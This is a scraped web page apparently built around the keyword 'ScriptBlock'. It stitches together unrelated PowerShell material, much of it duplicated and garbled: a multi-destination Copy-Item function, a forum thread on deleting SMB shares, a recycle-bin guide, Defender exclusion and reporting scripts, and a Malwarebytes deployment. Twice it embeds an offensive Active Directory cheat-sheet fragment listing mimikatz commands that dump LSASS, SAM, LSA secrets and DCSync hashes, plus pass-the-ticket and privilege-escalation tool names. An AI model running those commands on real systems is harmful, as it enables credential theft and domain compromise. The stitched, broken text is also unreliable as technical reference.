Scriptblock firefox
Author: m | 2025-04-25
For example, in ScriptBlock, click on the ScriptBlock icon in the Firefox toolbar and select Block scripts. How to Re-enable JavaScript If you need to re-enable JavaScript, you can
ScriptBlock Class (System.Management.Automation)
The PrinterBug for System Impersonation🙏 Works for Windows Server 2019 and Windows 10RoguePotato Upgraded Juicy Potato🙏 Works for Windows Server 2019 and Windows 10Abusing Token PrivilegesSMBGhost CVE-2020-0796 PoCCVE-2021-36934 (HiveNightmare/SeriousSAM)Useful Local Priv Esc ToolsPowerUp Misconfiguration AbuseBeRoot General Priv Esc Enumeration ToolPrivesc General Priv Esc Enumeration ToolFullPowers Restore A Service Account's PrivilegesLateral MovementPowerShell RemotingEnter-PSSession -ComputerName OR -Sessions ">#Enable PowerShell Remoting on current Machine (Needs Admin Access)Enable-PSRemoting#Entering or Starting a new PSSession (Needs Admin Access)$sess = New-PSSession -ComputerName Name>Enter-PSSession -ComputerName Name> OR -Sessions SessionName>Remote Code Execution with PS Credentials' -AsPlainText -Force$Cred = New-Object System.Management.Automation.PSCredential('htb.local', $SecPassword)Invoke-Command -ComputerName -Credential $Cred -ScriptBlock {whoami}">$SecPassword = ConvertTo-SecureString '' -AsPlainText -Force$Cred = New-Object System.Management.Automation.PSCredential('htb.local', $SecPassword)Invoke-Command -ComputerName WtverMachine> -Credential $Cred -ScriptBlock {whoami}Import a PowerShell Module and Execute its Functions Remotely -FilePath c:\FilePath\file.ps1 -Session $sess#Interact with the sessionEnter-PSSession -Session $sess">#Execute the command and start a sessionInvoke-Command -Credential $cred -ComputerName NameOfComputer> -FilePath c:\FilePath\file.ps1 -Session $sess#Interact with the sessionEnter-PSSession -Session $sessExecuting Remote Stateful commands#Execute command on the sessionInvoke-Command -Session $sess -ScriptBlock {$ps = Get-Process}#Check the result of the command to confirm we have an interactive sessionInvoke-Command -Session $sess -ScriptBlock {$ps}">#Create a new session$sess = New-PSSession -ComputerName NameOfComputer>#Execute command on the sessionInvoke-Command -Session $sess -ScriptBlock {$ps = Get-Process}#Check the result of the command to confirm we have an interactive sessionInvoke-Command -Session $sess -ScriptBlock {$ps}Mimikatz /ntlm: /domain:#List all available kerberos tickets in memorymimikatz sekurlsa::tickets#Dump local Terminal Services credentialsmimikatz sekurlsa::tspkg#Dump and save LSASS in a filemimikatz sekurlsa::minidump c:\temp\lsass.dmp#List cached MasterKeysmimikatz sekurlsa::dpapi#List local Kerberos AES Keysmimikatz sekurlsa::ekeys#Dump SAM Databasemimikatz lsadump::sam#Dump SECRETS Databasemimikatz lsadump::secrets#Inject and dump the Domain Controler's Credentialsmimikatz privilege::debugmimikatz token::elevatemimikatz lsadump::lsa /inject#Dump the Domain's Credentials without touching DC's LSASS and also remotelymimikatz lsadump::dcsync /domain: /all#Dump old passwords and NTLM hashes of a usermimikatz lsadump::dcsync /user:\ /history#List and Dump local kerberos credentialsmimikatz kerberos::list /dump#Pass The Ticketmimikatz kerberos::ptt #List TS/RDP sessionsmimikatz ts::sessions#List Vault credentialsmimikatz vault::list">#The commands are in -WhatIf -Path C:\Scripts\WMIDiag.exe -destination d:\temp". I can turn that into a scriptblock and run it as a ThreadJob.$sb = [scriptblock]::Create($p)#WhatIf code ommitted here$j = Start-ThreadJob $sbThe approach I am taking, depending on how you are running the copy command, could create a thread job for every file to be copied. There is a bit of overhead, so this may not perform well for many small files, but I'd take it when copying large files.If I trust that I'll never make a mistake, I could stop. But, I might want to use -Passthru from Copy-Item. Or need to see if there are any errors. This means I will have to get the job results. In my functions' Begin block, I'll initialize a generic list.$jobs = [System.Collections.Generic.List[object]]::new()I'll add each job to the list created in the Process script block. $jobs.add($j)In the End scriptblock, assuming there are jobs, I'll wait for the last of them to complete, get the results, and remove the job.If ($jobs) { Write-Verbose "$((Get-Date).TimeOfDay) [END ] Processing $($jobs.count) thread jobs" $jobs | Wait-Job | Receive-Job $jobs | Remove-Job}Now, I can copy files to 2 (or more) directories with one command!Want to try?#requires -version 5.1#requires -module ThreadJobFunction Copy-ItemToMultiDestination { [CmdletBinding( SupportsShouldProcess, ConfirmImpact = 'Medium' )] [alias("cp2")] Param( [Parameter( Mandatory, Position = 0, ValueFromPipeline, ValueFromPipelineByPropertyName, HelpMessage = "Specify a file system source path." )] [ValidateScript({ Test-Path $_ })] [string[]]$Path, [Parameter( Mandatory, Position = 1, ValueFromPipelineByPropertyName, HelpMessage = "Specify a file system destination." )] [ValidateScript({ Test-Path $_ })] [string[]]$Destination, [switch]$Container, [switch]$Force, [string]$Filter, [string[]]$Include, [string[]]$Exclude, [switch]$Recurse, [switch]$PassThru, [Parameter(ValueFromPipelineByPropertyName)] [pscredential] [System.Management.Automation.CredentialAttribute()]$Credential ) Begin { Write-Verbose "$((Get-Date).TimeOfDay) [BEGIN ] Starting $($MyInvocation.Mycommand)" #initialize a list for thread jobs $jobs = [System.Collections.Generic.List[object]]::new() } #begin Process { [void]($PSBoundParameters.Remove("Destination")) foreach ($location in $Destination) { Write-Verbose "$((Get-Date).TimeOfDay) [PROCESS] Creating copy job" $PSBoundParameters.GetEnumerator() | ForEach-Object -Begin { $p = "Copy-Item" } -Process { if ($_.value -eq $True) { $p += " -$($_.key)" } else { $p += " -$($_.key) $($_.value)" } } -End { $p += " -destination $location" } Write-Verbose "$((Get-Date).TimeOfDay) [PROCESS] $p" $sb = [scriptblock]::Create($p) #Start-ThreadJob doesn't support -whatif if ($PSCmdlet.ShouldProcess($p)) { $j = Start-ThreadJob $sb #add each job to the list $jobs.add($j) } } #foreach location } #process End { If ($jobs) { Write-Verbose "$((Get-Date).TimeOfDay) [END ] Processing $($jobs.count) thread jobs" $jobs | Wait-Job | Receive-Job $jobs | Remove-Job } Write-Verbose "$((Get-Date).TimeOfDay) [END ] Ending $($MyInvocation.Mycommand)" } #end} #end function Copy-ItemToMultiDestinationRemember, this is a proof of concept. Although my mind is already whirling on other commands I could "update" using some of these techniques. Have fun.Script, ScriptBlock and module performance profiler for
Share via 2021-03-19T12:24:23.78+00:00 We have shared folders which must be copied and deleted regurally. So i made a powershell script and try to do copy and delete the share but i can only copy the complete folderstructure but not delete it and not move it remotely. When all subfolders and files are copied to another server then the rootfolder share is empty but cannot be deleted remotely not in a batchfile with cmd not with powershell and not with robocopy. Process is in use. But when i make a new share end trie it is also not deleted, just the subfolders. When i delete the complete patch remotely then it can be deleted but not the share. \servername\share what can be deleted is: \servername\patch to share\share or \servername\e$\patch Is there somewhere a setting that prevents deleting rootfolder shared folders? 2021-03-24T19:04:40.52+00:00 You don't have to pipe anything. Put this in the script block (change the share name, of course!): $ShareName = "Junk"$p = (Get-SmbShare $ShareName).PathRemove-SmbShare $ShareName -ForceRemove-Item -Path $p 14 additional answers 2021-03-19T14:29:49.163+00:00 Have you tried using Invoke-Command to run a scriptblock on the remote machine? You can use (in the scriptblock) Get-SmbShare to see if any users are connected to the share before you remove it with Remove-SmbShare. Once the share is gone you can remove the directory. 2021-03-19T18:44:50.273+00:00 Hi Rich, Can you give an example? but the share cannot be in use because it is also when making a new share, brand new en then put some files and folders in it. The files and subfolders are removed but not the share itself. 2021-03-21T14:32:49.653+00:00 Invoke-Command -Server "REMOTE-MACHINE" -ScriptBlock { Remove-SmbShare -Name "SHARE-NAME" -Force} Invalid argument. A parametre cannot be found. I filled Remote-machine with the server name and share-name with the share-name 2021-03-21T14:47:09.313+00:00 I can do it like this but not the other way around.$Local="\c:\temp\test" $Remote="\server\test"If (Test-Path $Local) { Move-Item -Path $Local -Destination $Remote -Confirm Write-Host "Move Successful" } Else { Write-Host "$Remote : can not be found" }I think it has something to do with protection on a server share to remotely remote or delete that share.With the full path it is succeeding. Sign in to answer Your answer Answers can be marked as Accepted Answers by the question author, which helps users to know the answer solved the author's problem. Question activity. For example, in ScriptBlock, click on the ScriptBlock icon in the Firefox toolbar and select Block scripts. How to Re-enable JavaScript If you need to re-enable JavaScript, you can ScriptBlock: A browser extension that blocks scripts and ads, ScriptBlock is available for Chrome and Firefox. Mobile Apps For mobile users, there are several apps that can help block ads on YouTube:Pale Moon Add-ons - ScriptBlock
AnyViewer > How-to Articles > 2 Options: How to Empty Recycle Bin Remotely on Windows This post introduces how to empty Recycle Bin remotely on Windows via command line and remote desktop software respectively. If you need to clear a remote Recycle Bin, read this post carefully. By Ellie / Updated on December 13, 2024 Share this: How do I empty a remote Recycle Bin?The situation is as follows: I have four PCs connected to a small home network, and I use one of them to store large files, backups, etc. remotely from my main workstation. I need to periodically free up space on the remote PC as I make new backups continuing. Does anyone know how I could effectively free up space by emptying the remote Recycle Bin remotely?”- Question from QuoraHow to empty Recycle Bin remotely on Windows [2 options]Here in this part, we’ll introduce two options on how to empty Recycle Bin remotely on Windows. You’re able to use either the PowerShell or the remote desktop software.Option 1. Empty Recycle Bin on a remote computer via PowerShellWith the right command line, you are able to clear Recycle Bin remotely via PowerShell. Follow the steps below.Step 1. Search “powershell” on the search box and then run PowerShell as a Domain Admin.Step 2. Run the following command on the PowerShell:icm -ComputerName xxx -ScriptBlock {Clear-RecycleBin -DriveLetter X -force}Note:Replace “xxx” with your computer name. For example, mine is “ellie-pc”.Replace “X” with the drive letter of a specified drive. For example, DriveLetter C.Tips: Some users claim that when they run the aforementioned command line, all they receive is the error message “The system cannot find the path specified”. You are advised to use the “-ErrorAction SilentlyContinue” command to ignore the error for the time being.icm -ComputerName xxx -ScriptBlock {Clear-RecycleBin -DriveLetter X -force -ErrorAction SilentlyContinue}Despite the error, run the following command, the recycle bin is actually cleared and ignoring the error will let your script continue. This hasn’t been figured out why yet, but has been confirmed by many users as useful.Option 2. Remotely clear Recycle Bin on Windows via remote desktop softwareAnother Windows Server, run the command:Set-MpPreference -DisableAutoExclusions $trueTo add the specific directories to the antivirus exclusion list manually, run this command:Set-MpPreference -ExclusionPath "C:\ISO", "C:\VM", "C:\Nano"To exclude antivirus scanning of certain processes use the following command:Set-MpPreference -ExclusionProcess "vmms.exe", "Vmwp.exe"Get Windows Defender Status Reports from Remote Computers via PowerShellYou can get the Microsoft Defender Antivirus status from remote computers using PowerShell. The following simple script will find all Windows Server hosts in the AD domain and get the Defender state through WinRM (using the Invoke-Command cmdlet):$Report = @() $servers= Get-ADComputer -Filter 'operatingsystem -like "*server*" -and enabled -eq "true"'| Select-Object -ExpandProperty Name foreach ($server in $servers) { $defenderinfo= Invoke-Command $server -ScriptBlock {Get-MpComputerStatus | Select-Object -Property Antivirusenabled,RealTimeProtectionEnabled,AntivirusSignatureLastUpdated,QuickScanAge,FullScanAge} If ($defenderinfo) { $objReport = [PSCustomObject]@{ User = $defenderinfo.PSComputername Antivirusenabled = $defenderinfo.Antivirusenabled RealTimeProtectionEnabled = $defenderinfo.RealTimeProtectionEnabled AntivirusSignatureLastUpdated = $defenderinfo.AntivirusSignatureLastUpdated QuickScanAge = $defenderinfo.QuickScanAge FullScanAge = $defenderinfo.FullScanAge } $Report += $objReport } } $Report|ftTo get information about antivirus detections, you can use the following PowerShell script: $Report = @() $servers = Get-ADComputer -Filter 'operatingsystem -like "*server*" -and enabled -eq "true"'| Select-Object -ExpandProperty Name foreach ($server in $servers) { $defenderalerts= Invoke-Command $server -ScriptBlock {Get-MpThreatDetection | Select-Object -Property DomainUser,ProcessName,InitialDetectionTime ,CleaningActionID,Resources } If ($defenderalerts) { foreach ($defenderalert in $defenderalerts) { $objReport = [PSCustomObject]@{ Computer = $defenderalert.PSComputername DomainUser = $defenderalert.DomainUser ProcessName = $defenderalert.ProcessName InitialDetectionTime = $defenderalert.InitialDetectionTime CleaningActionID = $defenderalert.CleaningActionID Resources = $defenderalert.Resources } $Report += $objReport } } } $Report|ftThe report shows the name of the infected file, the action performed, the user, and the owner process.Updating Windows Defender Antivirus DefinitionsWindows Defender Antivirus can automatically update online from Windows Update servers. If there is an internal WSUS server in your network, the Microsoft antivirus can receive updates from it. You just need to make sure that the installation of updates has been approved on your WSUS server (Windows Defender Antivirus updates are called Definition Updates in the WSUS console), and clients are targeted to the correct WSUS server using GPO.In some cases, Windows Defender may work incorrectly after getting a broken update. Then it is recommended to reset current definitions database and download them again:"%PROGRAMFILES%\Windows Defender\MPCMDRUN.exe" -RemoveDefinitions -All "%PROGRAMFILES%\Windows Defender\MPCMDRUN.exe" –SignatureUpdateIf your Windows Server doesScriptBlock for Google Chrome - Extension Download
On SINGLE INSTANCE (apparently this does not work correctly with clusters…will test and update…) Sql Servers use the following code to update the password for the service account. This will not require a restart of the service. Curiously…the call to $service.ChangePassword is supposed to take the old password as the first parameter and the new password as the second parameter…but in my haste I didn’t notice this at first and was just passing in the new password for both parameters, yet everything seems to work just fine this way. I bingled around to try to see if anyone else had noticed this with no luck at all… $password = 'P@55s0rd!' icm -ComputerName ComputerName -ScriptBlock{ [System.Reflection.Assembly]::LoadWithPartialName("Microsoft.SqlServer.SqlWmiManagement") | Out-Null try{ $srv = New-Object Microsoft.SqlServer.Management.Smo.Wmi.ManagedComputer $env:COMPUTERNAME $service = $srv.Services | Where-Object{$_.name -eq 'sqlserveragent'} $service.ChangePassword($using:password, $using:password) $service.Alter() $service = $srv.Services | Where-Object{$_.name -eq 'mssqlserver'} $service.ChangePassword($using:password, $using:password) $service.Alter() } catch{ Write-Warning ($_ | fl -Force | Out-String) throw $_ } }Create and reuse a powershell scriptblock - LazyWinAdmin
SoftwareInstallManager. It can be downloaded directly from Github or via Install-Module SoftwareInstallManager. This is a set of modules that allows you to do lots of different tasks around software deployments. One of those tasks is finding installed software using the Get-InstalledSoftware command. But to use it, it must be copied to each computer. Since we're already copying the installers over, adding these modules should be no sweat.$computers = 'DC' foreach ($computer in $computers) { Copy-Item -Path C:\MalwareBytesInstaller -Destination "\\$computer\c$" -Recurse -Force Copy-Item -Path C:\SoftwareInstallManager -Destination "\\$computer\c$" -Recurse -Force Invoke-Command -ComputerName $computer -ScriptBlock { C:\MalwareBytesInstaller\mb3-setup-consumer-3.0.6.1469-10103.exe /SILENT /NORESTART Import-Module C:\SoftwareInstallManager\1.0.0.0\SoftwarInstallManager.psd1 if (Get-InstalledSoftware | where { $_.Name -match 'MalwareBytes' }) { [pscustomobject]@{ ComputerName = (hostname) Result = $true } } else { [pscustomobject]@{ ComputerName = (hostname) Result = $false } } } | Select ComputerName,Result }At this point, my script is going to return an object for each computer after Malwarebytes is installed indicating if it was successful or not.ComputerName Result ------------ ------ PC1 False PC2 True PC3 TrueAnd there you have it. You've succesfully installed MalwareBytes on all targeted machines.. For example, in ScriptBlock, click on the ScriptBlock icon in the Firefox toolbar and select Block scripts. How to Re-enable JavaScript If you need to re-enable JavaScript, you can ScriptBlock: A browser extension that blocks scripts and ads, ScriptBlock is available for Chrome and Firefox. Mobile Apps For mobile users, there are several apps that can help block ads on YouTube:Understanding PowerShell Scriptblocks - Microsoft Certified
In honor of today, 2/22/2022, I thought I'd share a PowerShell function that allows you to copy files to multiple destinations. If you look at help for Copy-Item, which you should, you'll see that the Destination parameter does not take an array. That's ok. I can fix that. However, I have a disclaimer that you should consider this a proof-of-concept and not production-ready code.The first step was to create a copy of the Copy-Item cmdlet. I used the Copy-Command function from the PSScriptTools module, which you can install from the PowerShell Gallery. I used the function to create a "wrapper" function based on Copy-Item. Copy-Command copies the original parameters. I edited the Destination parameter to accept an array of locations.[Parameter( Mandatory, Position = 1, ValueFromPipelineByPropertyName, HelpMessage = "Specify a file system destination.")][ValidateScript({Test-Path $_})][string[]]$Destination,Because the parameters of my new function are identical to Copy-Item, I can use PSBoundParameters to build a Copy-Item command. However, I need to remove the Destination parameter since Copy-Item isn't written to support an array. [void]($PSBoundParameters.Remove("Destination"))This line goes in the Process scriptblock because I defined Destination to take pipeline input by value.The concept behind my new function is quite simple. Run a Copy-Item command foreach destination. But, if I'm copying many files, I want this to run quickly and more or less in parallel. That's when I realized I could use Start-ThreadJob. If you don't have the ThreadJob module installed, you can get it from the PowerShell Gallery. Unlike Start-Job, which spins up a new runspace, Start-Threadjob creates a job in a separate thread within the local process. This tends to be faster. The tricky part was figuring out how to pass parameters. I could have splatted parameter values.start-threadjob {param($splat,$location) Copy-item @splat -destination $location} -arguments @($psboundparameters,$location)And I will keep this concept in mind for future projects. Instead, I decided to recreate the parameters from PSBoundParameters. If I can create a command string, I can turn that into a scriptblock, which I can then pass to Start-ThreadJob.$PSBoundParameters.GetEnumerator() | ForEach-Object -Begin { $p = "Copy-Item" } -Process { if ($_.value -eq $True) { $p += " -$($_.key)" } else { $p += " -$($_.key) $($_.value)" }} -End { $p += " -destination $location"}In the ForEach-Object Begin parameter, I'm initializing a string with the Copy-Item command. Then for each enumerated PSBoundParameter, I reconstruct the parameter name and value. The "gotcha" is handling switches like -Recurse or -WhatIf. So if the value is equal to True, I'll assume the key is a switch parameter. Usually, I abstain from explicit boolean comparisons in an If statement, but in this case, I am checking the value of $_.value and not merely if it exists. When I'm finished, $p will look like "Copy-Item -VerboseComments
The PrinterBug for System Impersonation🙏 Works for Windows Server 2019 and Windows 10RoguePotato Upgraded Juicy Potato🙏 Works for Windows Server 2019 and Windows 10Abusing Token PrivilegesSMBGhost CVE-2020-0796 PoCCVE-2021-36934 (HiveNightmare/SeriousSAM)Useful Local Priv Esc ToolsPowerUp Misconfiguration AbuseBeRoot General Priv Esc Enumeration ToolPrivesc General Priv Esc Enumeration ToolFullPowers Restore A Service Account's PrivilegesLateral MovementPowerShell RemotingEnter-PSSession -ComputerName OR -Sessions ">#Enable PowerShell Remoting on current Machine (Needs Admin Access)Enable-PSRemoting#Entering or Starting a new PSSession (Needs Admin Access)$sess = New-PSSession -ComputerName Name>Enter-PSSession -ComputerName Name> OR -Sessions SessionName>Remote Code Execution with PS Credentials' -AsPlainText -Force$Cred = New-Object System.Management.Automation.PSCredential('htb.local', $SecPassword)Invoke-Command -ComputerName -Credential $Cred -ScriptBlock {whoami}">$SecPassword = ConvertTo-SecureString '' -AsPlainText -Force$Cred = New-Object System.Management.Automation.PSCredential('htb.local', $SecPassword)Invoke-Command -ComputerName WtverMachine> -Credential $Cred -ScriptBlock {whoami}Import a PowerShell Module and Execute its Functions Remotely -FilePath c:\FilePath\file.ps1 -Session $sess#Interact with the sessionEnter-PSSession -Session $sess">#Execute the command and start a sessionInvoke-Command -Credential $cred -ComputerName NameOfComputer> -FilePath c:\FilePath\file.ps1 -Session $sess#Interact with the sessionEnter-PSSession -Session $sessExecuting Remote Stateful commands#Execute command on the sessionInvoke-Command -Session $sess -ScriptBlock {$ps = Get-Process}#Check the result of the command to confirm we have an interactive sessionInvoke-Command -Session $sess -ScriptBlock {$ps}">#Create a new session$sess = New-PSSession -ComputerName NameOfComputer>#Execute command on the sessionInvoke-Command -Session $sess -ScriptBlock {$ps = Get-Process}#Check the result of the command to confirm we have an interactive sessionInvoke-Command -Session $sess -ScriptBlock {$ps}Mimikatz /ntlm: /domain:#List all available kerberos tickets in memorymimikatz sekurlsa::tickets#Dump local Terminal Services credentialsmimikatz sekurlsa::tspkg#Dump and save LSASS in a filemimikatz sekurlsa::minidump c:\temp\lsass.dmp#List cached MasterKeysmimikatz sekurlsa::dpapi#List local Kerberos AES Keysmimikatz sekurlsa::ekeys#Dump SAM Databasemimikatz lsadump::sam#Dump SECRETS Databasemimikatz lsadump::secrets#Inject and dump the Domain Controler's Credentialsmimikatz privilege::debugmimikatz token::elevatemimikatz lsadump::lsa /inject#Dump the Domain's Credentials without touching DC's LSASS and also remotelymimikatz lsadump::dcsync /domain: /all#Dump old passwords and NTLM hashes of a usermimikatz lsadump::dcsync /user:\ /history#List and Dump local kerberos credentialsmimikatz kerberos::list /dump#Pass The Ticketmimikatz kerberos::ptt #List TS/RDP sessionsmimikatz ts::sessions#List Vault credentialsmimikatz vault::list">#The commands are in
2025-03-29-WhatIf -Path C:\Scripts\WMIDiag.exe -destination d:\temp". I can turn that into a scriptblock and run it as a ThreadJob.$sb = [scriptblock]::Create($p)#WhatIf code ommitted here$j = Start-ThreadJob $sbThe approach I am taking, depending on how you are running the copy command, could create a thread job for every file to be copied. There is a bit of overhead, so this may not perform well for many small files, but I'd take it when copying large files.If I trust that I'll never make a mistake, I could stop. But, I might want to use -Passthru from Copy-Item. Or need to see if there are any errors. This means I will have to get the job results. In my functions' Begin block, I'll initialize a generic list.$jobs = [System.Collections.Generic.List[object]]::new()I'll add each job to the list created in the Process script block. $jobs.add($j)In the End scriptblock, assuming there are jobs, I'll wait for the last of them to complete, get the results, and remove the job.If ($jobs) { Write-Verbose "$((Get-Date).TimeOfDay) [END ] Processing $($jobs.count) thread jobs" $jobs | Wait-Job | Receive-Job $jobs | Remove-Job}Now, I can copy files to 2 (or more) directories with one command!Want to try?#requires -version 5.1#requires -module ThreadJobFunction Copy-ItemToMultiDestination { [CmdletBinding( SupportsShouldProcess, ConfirmImpact = 'Medium' )] [alias("cp2")] Param( [Parameter( Mandatory, Position = 0, ValueFromPipeline, ValueFromPipelineByPropertyName, HelpMessage = "Specify a file system source path." )] [ValidateScript({ Test-Path $_ })] [string[]]$Path, [Parameter( Mandatory, Position = 1, ValueFromPipelineByPropertyName, HelpMessage = "Specify a file system destination." )] [ValidateScript({ Test-Path $_ })] [string[]]$Destination, [switch]$Container, [switch]$Force, [string]$Filter, [string[]]$Include, [string[]]$Exclude, [switch]$Recurse, [switch]$PassThru, [Parameter(ValueFromPipelineByPropertyName)] [pscredential] [System.Management.Automation.CredentialAttribute()]$Credential ) Begin { Write-Verbose "$((Get-Date).TimeOfDay) [BEGIN ] Starting $($MyInvocation.Mycommand)" #initialize a list for thread jobs $jobs = [System.Collections.Generic.List[object]]::new() } #begin Process { [void]($PSBoundParameters.Remove("Destination")) foreach ($location in $Destination) { Write-Verbose "$((Get-Date).TimeOfDay) [PROCESS] Creating copy job" $PSBoundParameters.GetEnumerator() | ForEach-Object -Begin { $p = "Copy-Item" } -Process { if ($_.value -eq $True) { $p += " -$($_.key)" } else { $p += " -$($_.key) $($_.value)" } } -End { $p += " -destination $location" } Write-Verbose "$((Get-Date).TimeOfDay) [PROCESS] $p" $sb = [scriptblock]::Create($p) #Start-ThreadJob doesn't support -whatif if ($PSCmdlet.ShouldProcess($p)) { $j = Start-ThreadJob $sb #add each job to the list $jobs.add($j) } } #foreach location } #process End { If ($jobs) { Write-Verbose "$((Get-Date).TimeOfDay) [END ] Processing $($jobs.count) thread jobs" $jobs | Wait-Job | Receive-Job $jobs | Remove-Job } Write-Verbose "$((Get-Date).TimeOfDay) [END ] Ending $($MyInvocation.Mycommand)" } #end} #end function Copy-ItemToMultiDestinationRemember, this is a proof of concept. Although my mind is already whirling on other commands I could "update" using some of these techniques. Have fun.
2025-03-31Share via 2021-03-19T12:24:23.78+00:00 We have shared folders which must be copied and deleted regurally. So i made a powershell script and try to do copy and delete the share but i can only copy the complete folderstructure but not delete it and not move it remotely. When all subfolders and files are copied to another server then the rootfolder share is empty but cannot be deleted remotely not in a batchfile with cmd not with powershell and not with robocopy. Process is in use. But when i make a new share end trie it is also not deleted, just the subfolders. When i delete the complete patch remotely then it can be deleted but not the share. \servername\share what can be deleted is: \servername\patch to share\share or \servername\e$\patch Is there somewhere a setting that prevents deleting rootfolder shared folders? 2021-03-24T19:04:40.52+00:00 You don't have to pipe anything. Put this in the script block (change the share name, of course!): $ShareName = "Junk"$p = (Get-SmbShare $ShareName).PathRemove-SmbShare $ShareName -ForceRemove-Item -Path $p 14 additional answers 2021-03-19T14:29:49.163+00:00 Have you tried using Invoke-Command to run a scriptblock on the remote machine? You can use (in the scriptblock) Get-SmbShare to see if any users are connected to the share before you remove it with Remove-SmbShare. Once the share is gone you can remove the directory. 2021-03-19T18:44:50.273+00:00 Hi Rich, Can you give an example? but the share cannot be in use because it is also when making a new share, brand new en then put some files and folders in it. The files and subfolders are removed but not the share itself. 2021-03-21T14:32:49.653+00:00 Invoke-Command -Server "REMOTE-MACHINE" -ScriptBlock { Remove-SmbShare -Name "SHARE-NAME" -Force} Invalid argument. A parametre cannot be found. I filled Remote-machine with the server name and share-name with the share-name 2021-03-21T14:47:09.313+00:00 I can do it like this but not the other way around.$Local="\c:\temp\test" $Remote="\server\test"If (Test-Path $Local) { Move-Item -Path $Local -Destination $Remote -Confirm Write-Host "Move Successful" } Else { Write-Host "$Remote : can not be found" }I think it has something to do with protection on a server share to remotely remote or delete that share.With the full path it is succeeding. Sign in to answer Your answer Answers can be marked as Accepted Answers by the question author, which helps users to know the answer solved the author's problem. Question activity
2025-03-30AnyViewer > How-to Articles > 2 Options: How to Empty Recycle Bin Remotely on Windows This post introduces how to empty Recycle Bin remotely on Windows via command line and remote desktop software respectively. If you need to clear a remote Recycle Bin, read this post carefully. By Ellie / Updated on December 13, 2024 Share this: How do I empty a remote Recycle Bin?The situation is as follows: I have four PCs connected to a small home network, and I use one of them to store large files, backups, etc. remotely from my main workstation. I need to periodically free up space on the remote PC as I make new backups continuing. Does anyone know how I could effectively free up space by emptying the remote Recycle Bin remotely?”- Question from QuoraHow to empty Recycle Bin remotely on Windows [2 options]Here in this part, we’ll introduce two options on how to empty Recycle Bin remotely on Windows. You’re able to use either the PowerShell or the remote desktop software.Option 1. Empty Recycle Bin on a remote computer via PowerShellWith the right command line, you are able to clear Recycle Bin remotely via PowerShell. Follow the steps below.Step 1. Search “powershell” on the search box and then run PowerShell as a Domain Admin.Step 2. Run the following command on the PowerShell:icm -ComputerName xxx -ScriptBlock {Clear-RecycleBin -DriveLetter X -force}Note:Replace “xxx” with your computer name. For example, mine is “ellie-pc”.Replace “X” with the drive letter of a specified drive. For example, DriveLetter C.Tips: Some users claim that when they run the aforementioned command line, all they receive is the error message “The system cannot find the path specified”. You are advised to use the “-ErrorAction SilentlyContinue” command to ignore the error for the time being.icm -ComputerName xxx -ScriptBlock {Clear-RecycleBin -DriveLetter X -force -ErrorAction SilentlyContinue}Despite the error, run the following command, the recycle bin is actually cleared and ignoring the error will let your script continue. This hasn’t been figured out why yet, but has been confirmed by many users as useful.Option 2. Remotely clear Recycle Bin on Windows via remote desktop softwareAnother
2025-03-31